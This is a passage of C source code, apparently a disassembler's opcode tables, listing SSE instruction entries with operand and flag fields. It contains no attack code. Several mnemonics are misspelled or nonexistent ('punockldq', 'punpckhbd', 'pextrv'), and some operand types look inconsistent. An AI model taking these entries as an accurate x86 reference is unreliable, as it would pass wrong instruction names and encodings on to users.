INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "movapd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movapd", AM_W|OT_pd|P_w, AM_V|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvtpi2pd", AM_V|OT_pd|P_r, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movntpd", AM_M|OT_pd|P_w, AM_V|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvttpd2pi", AM_P|OT_q|P_r, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvtpd2pi", AM_P|OT_q|P_r, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "ucomisd", AM_V|OT_sd|P_w, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "comisd", AM_V|OT_sd|P_w, AM_W|OT_sd|P_w, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "movmskpd", AM_G|OT_d|P_w, AM_V|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "sqrtpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "andpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "andnpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "orpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "xorpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "addpd", AM_V|OT_pd|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "mulpd", AM_V|OT_pd|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvtpd2ps", AM_V|OT_pd|P_r, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvtps2dq", AM_V|OT_pd|P_r, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "subpd", AM_V|OT_pd|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "minpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "divpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "maxpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "punpcklbw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "punpcklwd", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "punockldq", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "packusdw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pcmpgtb", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pcmpgtw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pcmpgtd", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "packsswb", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "punpckhbw", AM_V|OT_dq|P_w, AM_Q|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "punpckhbd", AM_V|OT_dq|P_w, AM_Q|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "punpckhdq", AM_V|OT_dq|P_w, AM_Q|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "packssdw", AM_V|OT_dq|P_w, AM_Q|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "punpcklqdq", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "punpckhqd", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movd", AM_V|OT_d|P_w, AM_E|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movdqa", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pshufd", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, AM_I|OT_b, 1 }, // groups 12-14 { INSTRUCTION_TYPE_SSE, "g12", AM_P|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "g13", AM_W|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "g14", AM_W|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pcmpeqb", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pcmpeqw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pcmpeqd", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "haddpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "hsubpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movd", AM_E|OT_d|P_w, AM_V|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movdqa", AM_W|OT_dq|P_w, AM_V|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "cmppd", AM_V|OT_pd|P_r, AM_W|OT_pd|P_r, AM_I|OT_b, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "pinsrw", AM_V|OT_w|P_w, AM_E|OT_w|P_r, AM_I|OT_b, 1 }, { INSTRUCTION_TYPE_SSE, "pextrv", AM_G|OT_w|P_w, AM_V|OT_w|P_r, AM_I|OT_b|P_r,1 }, { INSTRUCTION_TYPE_SSE, "shufpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, AM_I|OT_b|P_r,1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "addsubpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psrlw", AM_V|OT_dq|P_w, AM_Q|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psrld", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psrlq", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "paddq", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pmullw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movq", AM_W|OT_q|P_w, AM_V|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pmovmskb", AM_G|OT_d|P_w, AM_V|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psubusb", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psubusw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pminub", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pand", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "paddusb", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "paddusw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pmaxsw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pandn", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pavgb", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psraw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psrad", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pavgw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pmulhuw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pmulhw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvttpd2dq", AM_V|OT_dq|P_r, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movntq", AM_M|OT_dq|P_w, AM_V|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psubsb", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psubsw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pminsw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "por", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "paddsb", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "paddsw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pmaxsw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pxor", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "psllw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pslld", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psllq", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pmuludq", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pmaddwd", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psadbw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "maskmovdqu", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psubb", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psubw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psubd", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psubq", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "paddb", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "paddw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "paddd", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // 3-byte instructions, prefix 0xf2 INST inst_table3_f2[256] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, 